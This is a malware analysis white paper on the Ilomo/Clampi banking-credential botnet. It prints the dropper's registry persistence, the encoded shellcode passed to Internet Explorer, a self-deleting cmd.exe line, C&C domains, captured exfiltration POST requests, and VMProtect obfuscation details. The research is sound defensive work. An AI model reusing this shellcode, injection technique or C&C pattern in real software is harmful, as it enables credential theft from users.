Ilomo Botnet

A study of the Ilomo / Clampi Botnet

by

Alice Decker:	Network Analysis
David Sancho:	Reverse Engineering
Max Goncharov:	Network Analysis
Robert McArdle:	Project Coordinator

Release Date: Classification: 20 August 2009 Public



Table of Contents

Introduction	3
Ilomo Analysis	4
Stage 1: Dropper	4
Stage 2: Main Executable	7
Stage 3: Injected Code	12
VMProtect Obfuscator	17
Background Information	17
Technical Information	17
External Obfuscator	21
Additional Information	24
Propagation of Ilomo	25
Ilomo Symptoms	
Protection	27
Appendices	
Gateslist Analysis	
References	

This paper is available online at:

http://us.trendmicro.com/us/trendwatch/research-and-analysis/white-papers-and-articles/index.html



INTRODUCTION

llomo has been present in the malware landscape since at least the end of 2005, making it a veteran of the modern malware era. During that time it has changed its code constantly with an emphasis being placed on making the malware very difficult to reverse engineer, and also with the goal of staying under the radar. As with all malware it has picked up several names over that time but the most common are llomo, Clampi, Ligats or Rscan – we will use llomo in this report.

Evidence of the lengths which llomo has gone to in order to make analysis of the threat difficult is immediately clear as soon as a researcher disassembles the malware binary. In addition to its own unusual techniques (such as its method for injecting code into other processes, which we describe in detail) llomo employs a commercial obfuscator known as VMProtect. This obfuscator is available for as little as \$200, easily affordable for any modern cybercriminal.

Each llomo node comes pre-configured with the locations of two Command & Control (C&C) servers, known as "gates" from which it can download updates, receive instructions, and download a larger list of gates. These gates are generally hosted machines (most likely compromised web servers), as opposed to ADSL home connections, more commonly seen in the case of other botnets.

The purpose behind llomo is very simple – information theft. Ilomo steals all password details from the infected machine (e.g. those held in protected storage) and also monitors all web traffic from the machine, with the goal of stealing login credentials for online banking, online email accounts, etc.

The original origin of llomo is unclear. Taking into account our underground research in conjunction with the list of sites targets, it appears that llomo predominantly targets US users, and does not appear to be Russia or Eastern European in origin.

We have split this report into five main sections:

- Firstly, we start with **llomo Analysis**, a section dealing with a step by step analysis of the behavior of the llomo malware.
- The second section, **VMProtect Obfuscator**, aims to convey the methods of obfuscation used by the VMProtect packer.
- The third section, **Propagation**, explains how llomo spreads from machine to machine.
- The fourth section, **llomo Symptoms**, calls out the defining characteristics of llomo on one page, helping a system administrator to identify signs of an llomo infection
- The fifth section, **Protection**, details the various components of Trend Micro's Smart Protection Network which help defend against the llomo malware family.

Lastly, we have also included Appendices, which detail some additional information.

NOTE: All URLs, filenames, etc are correct at time of writing.



ILOMO ANALYSIS

Like most malware, llomo is distributed as a binary file. Our first step in the analysis of this malware is to use IDA Pro to disassemble the binary file, and then interpret the resulting assembler code. Additionally we execute the malware in a test environment and monitor all system and network activity using both publically available and internal tools.

llomo executables fall into two categories, which we will call the **Dropper** and the **Main Executable**. As the names suggest, the *Dropper* is responsible for installing llomo on the system, including placing the Main *Executable* on the system and also configuring system load points, etc. The Main Executable is the piece of code responsible for carrying out llomo's main objectives.

These two components are often submitted to AV companies on their own and as a result there are a lot of varying detections for the threat, with the *Main Executable* normally detected as llomo or with a generic/heuristic detection, and the *Dropper* detected as a Trojan Agent, Dropper, or another piece of generic malware.

In our testing we used samples detected as variants of TROJ_ILOMO, in addition to some undetected samples / samples detected as TROJ_AGENTs, but which clearly showed llomo behavior.

STAGE 1: DROPPER

First, the *Dropper* creates the following registry key on the system:

HKCU\Software\Microsoft\Internet Explorer\Settings\GID = "0x00000210"

This key may either be an infection marker, or detail the version of the malware. In fact other samples which we analyzed had values of "0x0000020D", "0x0000020C" and "0x0000020B" – these could refer to versions 2.0.16, 2.0.13, 2.0.12 and 2.0.11 respectively of the malware.

It next sets the value of the registry value associated with the %APPDATA% environment variable to ensure that it is currently pointing to the default location:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Appdata = "%USERPROFILE\Application Data"

Once these two registry checks have been carried out, the next step is to install the *Main Executable* file on the system, and to create a load point pointing to it. The load point is placed in the following registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Run

The value of the run key and the name of the file are randomly determined based on a predefined list of Run Key/File pairings as shown in the figure below. The file is then extracted from the *Dropper* to the %APPDATA% folder, and the run key is set to point to it, thereby ensuring it will execute on startup.

Registry Value	File Name
TaskMon	%APPDATA%\taskmon.exe
System	%APPDATA%\service.exe
EventLog	%APPDATA%\event.exe
Setup	%APPDATA%\msiexeca.exe
Windows	%APPDATA%\helper.exe
Init	%APPDATA%\logon.exe
Svchosts	%APPDATA%\svchosts.exe
Lsass	%APPDATA%\lsas.exe



CrashDump	%APPDATA%\dumpreport.exe
UPNP	%APPDATA%\upnpsvc.exe
Sound	%APPDATA%\sound.exe
RunDll	%APPDATA%\rundll.exe

The malware next creates a registry value referred to as a Gateslist:

HKCU\Software\Microsoft\Internet Explorer\Settings\Gateslist

This value contains a hex value that lists the 2 initial nodes of the P2P network which llomo is to contact. The values will vary from variant to variant but they are almost always in the format below:

[IP ADDRESS]/[16 CHARACTERS (uppercase / lowercase letters, number)]

In some cases the IP address portion may be replaced with an actual domain name. In our testing we observed the following domains:

drugs4sale.loderunner.in webmail.re-factoring.cn direct.matchbox.ws try.mojitoboom.in admin.viennaweb.at

NOTE: We have compiled statistics of these Gateslist IPs in the Appendices of this report.

The *Dropper* creates two more registry values under the "Internet Explorer\Settings" key:

HKCU\Software\Microsoft\Internet Explorer\Settings\ "KeyM" = <BLOB OF BINARY DATA> "KeyE" = "0x00010001"

The *Dropper* next downloads up to six modules, which provide llomo's advanced capabilities. The files are also stored under the "Internet Explorer\Settings" as binary data and encrypted using the Blowfishⁱ symmetric cipher. The values of these keys are "M00" to "M06" respectively, although it is possible that future modules will also be added. At Blackhat Vegas 2009ⁱⁱ Joe Stewart of Secureworksⁱⁱⁱ outlined some details on these modules, and each is described below:

- **M00 (Codename "SOCKS"):** Socks Proxy which allows the criminal gang behind llomo to route connections through the infected machine, for example when accessing a bank account with stolen credentials. This provides anonymity for the gang, and also defeats sites using geo-location
- M01 (Codename "PROT"): Steals data from Windows protected storage (i.e. website passwords)
- M02 (Codename "LOGGER"): Logs all HTTP POST/GET requests going to a defined list of websites (more details on this later)
- **M03 (Codename "SPREAD"):** Drops the Sysinternals tool, PSExec^{iv}, which llomo uses to spread across the network. More details of this can be seen in the Propogation section of this report.
- M04 (Codename "LOGGEREXT"): Injects additional fake content into bank login pages, eliciting additional credentials and information from the user
- M05 (Codename "INFO"): Retrieves basic networking information from the machine, along with details on installed antivirus, firewalls etc.
- **M06 (Codename "ACCOUNTS"):** Dropper for a commercial program, SpotAuditor, which can retrieve passwords from a wide range of third-party applications.

Lastly, the Dropper executes the Main Executable using the WinExec API and exits.





STAGE 2: MAIN EXECUTABLE

The main llomo executable is responsible for carrying out the core llomo code, where-as the *Dropper* is responsible for dropping llomo files and setting up all registry values, which the main executable expects to be present. In other words executing the main executable on its own is not enough to infect the machine; this is instead the job of the *Dropper*. The very first thing the *Main Executable* does is to create a mutex on the system, a standard technique ensuring that only one copy of the malware is running. The mutex has the following value:

Global\\QYWBUUMFRMUZSPV

Most of the llomo's activities are carried out by injecting code into a hidden Internet Explorer window. Before it does this the code performs a brief sanity check to ensure that Internet Explorer is actually installed on the system. This is accomplished by querying the following CLSID, which is associated with Internet Explorer:

0002DF01-0000-0000-C000-0000000-0046

Having performed all of this housekeeping the main llomo routines begin. Ilomo first injects code into a hidden Internet Explorer process; however it accomplishes this in quite an unusual way. It creates an Internet Explorer process in "Suspended Mode" with no visible window. What is unusual about the way that llomo does this is the command line it uses:

C:\\Program Files\\Internet Explorer\\iexplore.exe

\xFC\xEB\x1A^\x8B\xFEW\xAC<Zt\x0F,A\xC0\xE0\x04\x8A\xD8\xAC,A\x02\xC3\xAA\xEB\xECX\xC 3\xE8\xE1\xFF\xFF\xFFILOMOIAJAAAAAJAJAJAJAJAJAJAJAJAJAJAFOAPDBLJAIAAAAAAILNAF GIKMCCEAPAEEBIIAGEGMBOKAEOCPCMGAGAAFOILHNAEIDMHBFDDMAFGFHFAGKAEFAG KPPLIFMJEIAHMPPNAILNIIFMAHFBALIDBADJBHMPPNADNLHAAAAAAHELJOLEODDMAFHFA FAGIBPAAAPAAFDLIAFLJIAHMPPNAIFMAHEDALJAJAAAAAIJAEAIIJFMAIAEOIBEAAAAAAIL OMILHFAEILFOANPPHGAJLIHELJIAHMPPNAOLALIPEEAIAIILPIPMPDKEOLAKFDLIEHJLIAHMP PNADDMAILOFMDZ\0

This may look like garbage at first glance (you can also see the string "ILOMO" from which the malware gets its name). However the technique employed by this malware becomes clear in the next stage of the injection routine. The *Main Executable* uses the **CreateRemoteThread** API to create a remote thread at memory location **0x7C812F1D** in the suspended Internet Explorer process. Inspection of this memory address reveals that this is where the kernel function **GetCommandLineA** has been mapped into Internet Explorer's memory.

The **GetCommandLineA** function returns a pointer to the string passed as a parameter to the current process, in this case to the long string of "garbage" that was passed as a parameter above. Closer inspection of this parameter reveals that it is in fact shellcode, and that llomo has used this unusual approach to inject it into the Internet Explorer memory. So what does this shellcode do, and how is it actually set to execute?

First let's look at this shellcode in a disassembler:



liomo A study of the llomo / Clampi botnet



You can see the opcodes of the shellcode in the margin to the left which correspond to the parameter passed to Internet Explorer (e.g. starts with **xFC****xEB****x1A**). This shellcode (everything before the string of ASCII character beginning with "ILOMO") is a rather simple decoding loop which decrypts the string into yet more shellcode.

The loop subtracts the ASCII character "A" from each character (4 bits) in the string and then joins every two characters together, resulting in executable byte code. It continues to do this until it comes to the character "Z", which it knows is the end of the string.

For example, the "IL" of ILOMO is 0x49 0x4C in hex. If we take away "A" (0x41) we get the values 0x08 and 0x0B, which joined together form 0x8B (part of a move instruction)

Once decoded the code looks like this:





Fig 2.2: Decoded Shellcode

It is now clear that this shellcode is used to map the original llomo *Main Executable* into Internet Explorer's memory. The exact method of doing this is described in the steps below

The following routine is executed several times by the *Main Executable* to execute the shellcode, and have it map pages of the malware into the Internet Explorer process. Random strings of characters are generated by the shellcode to identify each mapped page and these are placed at a predictable location within the shellcode so that the *Main Executable* can then use ReadProcessMemory to open a handle to the page itself.

- 1. The *Main Executable* calls **CreateRemoteThread** at memory address 0x004A23DC, passing a certain parameter (have seen the values 0x0D, 0x31, etc)
- 2. Injected thread calls CreateFileMapping with a random name
- 3. Injected thread calls **MapViewOfFile**, which returns an address around 0x00CX0000 (where X is either 2,3,4 or 5)
- 4. Main Executable calls **ReadProcessMemory** at this return address e.g. 0x00C20000. This returns 21 bytes with the following format:
 - a. 8 bytes: The random name of the File Mapping Object
 - b. 1 byte: 0x00
 - c. 4 Bytes: The return address (little endian) e.g. 0000C200
 - d. 1 Byte: Some Value





5. Main Executable calls MapViewofFileExe on object

Now that all of the *Main Executable* has been injected, it needs to be set executing. To do this the malware simply takes the memory address returned by the **GetCommandLine** call earlier (which points to the start of all of this shellcode) and use **CreateRemoteThread** one more time to execute all of the injected shellcode.

Having completed its main routine the *Main Executable* deletes the original dropper using the following command line call, and exits.

C:\Windows\System32\cmd.exe /c dir /s c:\Windows>nul && del [INSTALLER LOCATION]



llomo A study of the llomo / Clampi botnet



STAGE 3: INJECTED ILOMO CODE

The injected code is now responsible for all of Ilomo's network communication. This is all carried out over HTTP using encrypted content. The first thing this code does is use DNS to establish the IP address of one of the following 3 domains:

admin.viennaweb.at drugs4sale.loderunner.in webmail.re-factoring.cn

Once found, the malware will then send an HTTP POST request to authenticate with the server

📶 Follow TCP Stream	_ 🗆 🔀
Stream Content POST /iZkZNqoPiHeoqaUl HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 67.15.236.244 Content-Length: 65 Cache-Control: no-cache O=u&s=00000000031B3DC&b=GAAAAOaKZ/6foE7E0/8wnwEx6uj7QNs+aw7Ing!! HTTP/1.1 200 OK server: ng1nx/0.6.32 Date: Tue, 16 Jun 2009 17:56:06 GMT Connection: close Content-Length: 32 \\$mERQg.A.X]	
Save As Print Entire conversation (428 bytes) ASCII EBCDIC Hex Dump C Arrays Rav Stream data output in "EBCDIC" format Close Filter Out T	v (his Stream

Fig 3.1: Ilomo Connection Setup

Although encrypted, these messages do have certain predictable features. The characters after the POST command (in this case /iZkzNqoPiHeOQaul) will be the same for all further communication. The blue box highlights parameters sent to the server.

- The "**o**" parameter indicates the Operation to be performed by the server. Two possible values have been observed:
 - **u:** This is an update command
 - **c:** This is a keep-alive command
- The "s" parameter is a unique identifier for the infected machine.
- The "b" parameter is the main parameter for sending information back to the server.

The encryption algorithm used for communication with the C&C server is Blowfish, using a 448 bit randomly generated session key. This key is previously agreed with the server using 2048 bit RSA encryption to encrypt the key exchange.

The first communication with the server is an update request - the malware asks for an updated version of its **Gateslist** from the server, which will contain more URLs than the original two hard-coded values.



In research by Joe Stewart of Secureworks^v, he observed that the server also sends a detailed list of all CRC32 checksums to the malware. These are checksums of hostnames, ports and protocols. Every time the user visits a site the malware computes a CRC32 of the URL to determine if it needs to monitor login attempts, inject code into the page or simply ignore it. All in all, over 4,600 hostnames are monitored with the vast majority of these being banking and financial sites. As the malware has the ability to actually "ride" the users web session they do not rely solely on stealing login and PIN details, and as a result can defeat most banking protection mechanisms.

After the update requests, the client continues to send "keep-alive" HTTP POST packets to the server. These only contain the **o** and **s** parameters. The response from the server is in either one of two formats.

🗹 Follow TCP Stream 📃 🗖	×
Stream Content POST /OAlndjAOdj1lllqq HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: 66.25.227 140	
Content-Length: 22 Cache-Control: no-cache O=c&s=00000000031B3DCHTTP/1.1 200 OK server: ng1nx/0.6.35	
Date: Tue, 16 Jun 2009 12:04:40 GMT Connection: close Content-Length: 48 ,\$+b.LY*qd+iy.<.[]	
Save As Print Entire conversation (402 bytes)	э
Close Filter Out This Stree	me

Fig 3.2: Keep alive – Response Type 1

The first is the type of response shown above, which is repeated at regular intervals and appears to verify that either the server or the malware is still active. In these responses the area highlighted above in the red box is always the same.

The second type of response is different from the first, despite responding to the same HTTP POST request. It also consists of 48 characters, however only some of these are the same between communications – the first 40 bytes do not change (highlighted in red box below), but the last 8 bytes (blue box) are different in each round of communication.



🖪 Follow TCP Stream 📃 🗖 🔀
Stream Content
POST /OAlndjAOdj1111qq HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1) Host: 66.225.237.140 Content-Length: 22 Cache-Control: no-cache
o=c&s=00000000031B3DCHTTP/1.1 200 OK Server: nginx/0.6.35 Date: Tue, 16 Jun 2009 12:14:42 GMT Connection: close Content-Length: 48
,!^N]<.'/w.p.q.? <mark>hfuvT. </mark>
Save As Print Entire conversation (402 bytes)
Filter Out This Stream

Fig 3.3: Ilomo Connection – 2nd type

After the initial setup of the Gateslist, the malware next hooks the following Windows Wininet and Urlmon APIs, patching the calls so that they point to the malware's own code:

WININET.HttpOpenRequestA WININET.HttpSendRequestA WININET.InternetCloseHandle WININET.InternetConnectA WININET.InternetOpenA WININET.InternetQueryDataAvailable WININET.InternetQueryOptionA WININET.InternetReadFile WININET.InternetReadFile WININET.InternetReadFileExA urlmon.772C4BBF urlmon.772C4BFB

The result of this patching is that the malware can track everything that the user types into a browser on the infected machine (passwords, logins etc). The malware, in turn, monitors all internet traffic looking for access to any of the defined list of sites to monitor (banking site, email, etc). Once found, this information is sent back to the malware's server, and the malware returns to monitoring the internet traffic. In the figure below note all of the encrypted information being passed to the server in the **b** parameter – this information is the result of accessing a temporary Hotmail account that we set up as part of our investigation.



🛛 Follow TCP Stream
Presentation Presentation
Save As Print Entire conversation (2647 bytes)

Fig 3.4: User information being sent to the malware server

This theft of information is in fact llomo's entire purpose of existence – gathering login credentials and other sensitive information and sending it back to the criminals behind the malware, where it will no doubt quickly appear for sale in the malware underground.



llomo A study of the llomo / Clampi botnet



Fig 3.5: Injected Code



VMPROTECT OBFUSCATOR

Background Information

llomo is one of several malware families to use VMProtect to protect its code from reverse engineering. In this section we will describe the method of protection that VMProtect uses. VMProtect is a commercially available product made to defend any executable from reverse engineering. It is available from the company's website at http://www.vmprotect.ru/. Although the original intent is to deter pirates and crackers from altering and reversing software, malware writers also use it to protect their creations and prevent AV companies from analyzing them.

It is worth noting that the analysis below is mostly carried out on an older version of VMProtect (at time of writing version 1.81 was the most recent). The overall approach used by VMProtect has been similar through different versions, but they have constantly added significant changes to their anti-reverse engineering techniques.

Technical Information

Main VMProtect Executable

VMProtect modifies the content of a binary file in a way such that it is impossible to recover the original content. It does this by converting x86 code to a proprietary byte code. When the protected file is run, VMProtect creates a virtual machine (VM) manager that reads the byte code and executes it one instruction after another. It is similar to a .NET executable with the main difference that a VMProtected executable includes the byte code interpreter and doesn't rely on external DLLs, as the .NET framework does.

The main function of any protected EXE is the dispatcher. This piece of code reads each byte code instruction and calls the corresponding function. It does this by using a dispatch table that lists the address of the functions that handle each opcode. The list looks like this:

Opcode01 dd Function_01 Opcode02 dd Function_02

OpcodeFF dd Function_FF



CODE:0040872A	Disp	patch	Table dd offset	1oc 40D88A
CODE:0040872E	dd d	offset	loc 41E27A	
CODE:00408732	dd (offset	loc 41DDC3	
CODE:00408736	dd (offset	loc 400892	
CODE:0040873A	dd o	offset	loc 40767A	
CODE:0040873E	dd (offset	1oc_40D920	
CODE:00408742	dd (offset	1oc_4084AD	
CODE:00408746	dd (offset	loc_408434	
CODE:0040874A	dd (offset	1oc_40D2B1	
CODE:0040874E	dd (offset	loc_41DDBA	
CODE:00408752	dd (offset	loc_4067CA	
CODE:00408756	dd (offset	loc_404A94	
CODE:0040875A	dd (offset	1oc_40D293	
CODE:0040875E	dd (offset	10C_404A4F	
CODE:00408762	dd (offset	1oc_40D918	
CODE:00408766	dd (offset	10c_404A5F	
CODE:0040876A	dd (offset	10C_40D8EE	
CODE:0040876E	dd (offset	1oc_4084C9	
CODE:00408772	dd (offset	1oc_40D29B	
CODE:00408776	dd (offset	1oc_404A68	
CODE:0040877A	dd (offset	1oc_41ED06	
CODE:0040877E	dd (offset	1oc_404A3A	
CODE:00408782	dd (offset	10C_403F6A	

Fig 4.1: Dispatch Table

The VMProtect opcodes range from 0x00 to 0xFF with some of them pointing to the same function. VMProtect assembly instructions will map to different opcodes in each protected executable. While an instruction such as "push reg1" might have an opcode 0x42 in one EXE, it may have 0x15 in another.

A very basic dispatcher looks like this:

```
CODE:00403FC0 Change Program Flow:
CODE:00403FC0
CODE:00403FC0 pushf
CODE:00403FC1 pusha
CODE:00403FC2 push
                       0
CODE:00403FC7 mov
                       esi, [esp+28h]
CODE:00403FCB mov
                       ecx, 40h
CODE:00403FD0 call
                       ManageMemory
CODE:00403FD5 mov
                       edi, eax
CODE:00403FD7 cld
CODE:00403FD8 add
                       esi, [esp]
CODE:00403FDB
CODE:00403FDB Dispatch :
CODE:00403FDB
CODE:00403FDB lodsb
CODE:00403FDC movzx
                       eax, al
CODE:00403FDF jmp
                       Dispatch Table[eax*4]
                    Fig 4.2: Dispatcher Table
```

The VMProtect instruction set has different features than normal x86 instructions. For instance, the VM creates sixteen virtual registers in the heap, and there are certain instructions that deal with them specifically. These sixteen special registers are used as intermediate storage instead of the normal CPU registers. The VM is also stack-based, so it stores and retrieves information from the stack as normal. In addition, it uses a second stack, internally pointed to by the ebp instruction.



An important feature of the VM is the way it calls the Windows API. During the VM initialization, the Import Address Table (IAT) is filled out as expected, however this IAT is not used normally. In order to call the APIs, the byte code retrieves the required API addresses from the IAT and pushes it to the stack. It then executes a special "ret" instruction, causing execution to leave the virtual machine and call the Windows API.

The return address of the API call will be at the instruction following the "ret", which must be an x86 instruction. This x86 instruction is responsible for pushing the location of the next byte code instruction onto the stack, before passing control to a Program_Flow_Change function, which continues interpreting the VM byte code. An example of an API call is show below:

[mov reg5, offset IAT_CloseHandle]	<- VM byte code
[push reg5]	<- VM byte code
[ret]	<- VM byte code
Push next_instruction	<-x86 code
Call Program_Flow_Change	<- x86 code
Next_instruction:	
[mov reg2, reg8]	<- VM byte code

NOTE: This example is from an older version of VMProtect. In recent versions, a lot of garbage instructions are included.

A result of this technique is that the VM byte code is interspersed by x86 instructions, which manage the flow of the program. As a hint of what the program does we can always inspect the IAT, which as usual, enumerates the functions that will be eventually called. However, we will not be able to see clearly when each function is called and what its parameters are. The malware authors can also include other dummy functions that are never called.



CODE:00404856	db	ØDDh	; Y
CODE:00404857	db	91h	1
CODE:00404858	db	0D1h	; N
CODE:00404859	db	8Dh	(; II)
CODE:0040485A	db	49h	; I
CODE:0040485B	db	0	
CODE:0040485C	5 -		
CODE:0040485C	push		offset unk_42EA2D
CODE:00404861	jmp)	Change_Program_Flow
CODE:00404861	3 -		
CODE:00404866	db	3	
CODE:00404867	db	ØABh	; «
CODE:00404868	db	36h	; 6
CODE:00404869	db	69h	; i
CODE:0040486A	db	7	
CODE:0040486B			
CODE:0040486B	pus	sh	offset unk_42EB5A
CODE . 001.01.070	jmp		A1
CODE: 00404070	յու)	Change_Program_Flow
CODE:00404870	t 		Change_Program_Flow
CODE: 00404870 CODE: 00404870 CODE: 00404875	J III j db) OD6h	; ö
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876	J ml	0D6h 3Fh	; ö ; ?
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877	J III db db db	0D6h 3Fh 37h	; Ö ; ? ; 7
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877 CODE: 00404878	J III db db db db db	0D6h 3Fh 37h 30h	; ö ; ? ; 7 ; 0
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877 CODE: 00404878 CODE: 00404879	J H db db db db db	0D6h 3Fh 37h 30h 25h	change_Program_Flow ; Ö ; ? ; 7 ; 0 ; %
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 0040487A	J M db db db db db db db	0D6h 3Fh 37h 30h 25h 0C4h	change_Program_Flow ; Ö ; ? ; 7 ; 0 ; % ; Å
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877 CODE: 00404879 CODE: 00404879 CODE: 0040487A CODE: 0040487B	db db db db db db db db	0D6h 3Fh 37h 30h 25h 0C4h 91h	cnange_program_flow ; Ö ; ? ; 7 ; 0 ; % ; Å
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 00404878 CODE: 00404878	J H	0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh	cnange_program_flow ; Ö ; ? ; 7 ; 0 ; % ; Å ; Å
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404876 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 0040487C CODE: 00404870	J H db db db db db db db db db db db	0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 7 ; 0 ; % ; 4 ; 1 ; 1 ; 1</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404876 CODE: 00404870 CODE: 00404870 CODE: 0040487E		0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh 0CCh	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 7 ; 0 ; % ; 4 ; 1 ; 1 ; 1 ; 1</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 0040487C CODE: 0040487C CODE: 0040487C CODE: 0040487F		0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh 0CCh	<pre>change_Program_Flow ; Ü ; ? ; 7 ; 7 ; 0 ; % ; Å ; Å ; i ; i ; i ; i ; i</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 0040487C CODE: 0040487E CODE: 0040487F CODE: 0040487F CODE: 00404888		0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh 0CCh 0CCh	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 7 ; 0 ; % ; 4 ; 1 ; 1 ; 1 ; 1</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 00404870 CODE: 0040487E CODE: 0040487F CODE: 00404880 CODE: 00404888	J ^m , db	0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh 0CCh 0CCh	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 0 ; % ; Å ; i ; i ; i ; i ; i ; offset unk_45FB22</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 00404870 CODE: 0040487F CODE: 0040487F CODE: 00404880 CODE: 00404888 CODE: 00404888	db db db db db db db db db db db db db d	0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh 0CCh 0CCh	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 0 ; % ; A ; i ; i ; i ; i ; offset unk_45FB22 Change_Program_Flow</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 00404875 CODE: 00404875 CODE: 00404875 CODE: 00404880 CODE: 00404880 CODE: 00404885 CODE: 00404885	JH, db db db db db db db db db db db db db	0D6h 3Fh 37h 30h 25h 0C4h 91h 0CCh 0CCh 0CCh	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 7 ; 0 ; % ; Å ; Å ; i ; i ; i ; i offset unk_45FB22 Change_Program_Flow</pre>
CODE: 00404870 CODE: 00404870 CODE: 00404875 CODE: 00404877 CODE: 00404877 CODE: 00404878 CODE: 00404879 CODE: 00404878 CODE: 00404878 CODE: 00404875 CODE: 00404875 CODE: 00404880 CODE: 00404880 CODE: 00404880 CODE: 00404885 CODE: 00404885 CODE: 00404885	J ^{III} ; db db db db db db db db db db db db db d	0D6h 3Fh 37h 25h 0C4h 91h 0CCh 0CCh 0CCh 0CCh 5h	<pre>change_Program_Flow ; 0 ; ? ; 7 ; 7 ; 0 ; % ; Å ; Å ; i ; i ; i ; i ; i offset unk_45FB22 Change_Program_Flow 38A db 52h ; R</pre>

Fig 4.3: Example VM Byte code – Note the flow change instructions

An additional technique used by VMProtect is to add large amounts of garbage code between useful sections, slowing down the process of static analysis as the analyst needs to sift through all of the code to identify the useful pieces. Another main problem encountered during analysis is the complete lack of a disassembler for the VM byte code. As a result, in order to see what the code is doing, we need to trace the virtual machine dispatcher, and to select each VM byte code instruction and deal with it separately.

This problem is magnified by the addition of garbage instructions deliberately added to the VM byte code. If we trace each individual VM byte code instruction, it will take some time to reach the useful ones among all the garbage. According to a study made by Sophos^{vi}, a simple 12 instruction program becomes 200 byte code instructions in the final protected EXE. That's an average of over 15 garbage instructions for each real one.

In considering detection of such a protection system, there is an additional piece of information to keep in mind. The final protected code is a mixture of data, code and byte code all put together. This is what a normal VMProtect EXE might look like:

[byte code instructions] Some opcode handlers Change_Program_Flow function Dispatch function [byte code instructions] Some opcode handlers [byte code instructions]



Dispatch Table Some opcode handlers [byte code instructions] ManageMemory function [byte code instructions] Import Table Encrypted Data [byte code instructions]

External Obfuscator

A final consideration is that most observed VMProtected files are in turn protected by an additional encryption layer. As such a quick glance at the executable will not observe tell-tale signs of a VMProtected file (such as the presence of sections named .vmp0, .vmp1, .vmp2 in recent versions, or .code and .data in older version)

This additional decryption routine has some protection features that can make it difficult to bypass. First, it includes a large amount of garbage instructions. The flow of the program is also constantly interrupted by unnecessary jumps and fake calls in order to increase the difficulty of tracing the code. The decryption function uses a fake import table that mentions a multitude of useless API calls that are never actually called.

.text:0040167C	MOVSX	cx, dl
.text:00401680	set1	dh
.text:00401683	push	esi
.text:00401684	neg	dh
.text:00401686	test	ch, 45h
.text:00401689	mov	eax, ds:CheckDlgButton
.text:0040168E	shrd	si, sp, 9
.text:00401693	setnle	cl
.text:00401696	bts	dx, 4
.text:0040169B	inc	CX
.text:0040169E	mov	ecx, ds:EmptyClipboard
.text:004016A4	shl	si, cl
.text:004016A7	pushf	
.text:004016A8	rol	dh, ó
.text:004016AB	CMC	
.text:004016AC	MOV	edx, eax
.text:004016AE	push	[esp+8+var_8]
.text:004016B1	btc	si, OFh
.text:004016B6	shl	esi, cl
.text:004016B8	xor	edx, OF683h
.text:004016BE	sub	si, 542Dh
.text:004016C3	sub	edx, 6A78h
.text:004016C9	clc	112 00
.text:004016CA	sal	si, 7
.text:004016CE	xor	edx, 9363h
.text:004016D4	stc	
.text:004016D5	bts	si, bp
.text:004016D9	sal	esi, cl
.text:004016DB	add	edx, ecx
.text:004016DD	рор	esi
.text:004016DE	rcr	si, cl
.text:004016E1	rol	esi, 18h
.text:004016E4	adc	si, di
.text:004016E7	lea	edx, [edx+eax-7F86h]
.text:004016EE	sal	si, 4
.text:004016F2	xor	al, 17h
.text:004016F4	xor	edx, 1858h
.text:004016FA	shr	51, Cl
.text:004016FD	shld	eax, ebp, cl
.text:00401700	ror	ah, 1
	Eig A E.	Deerwrtian Cada

Fig 4.5: Decryption Code

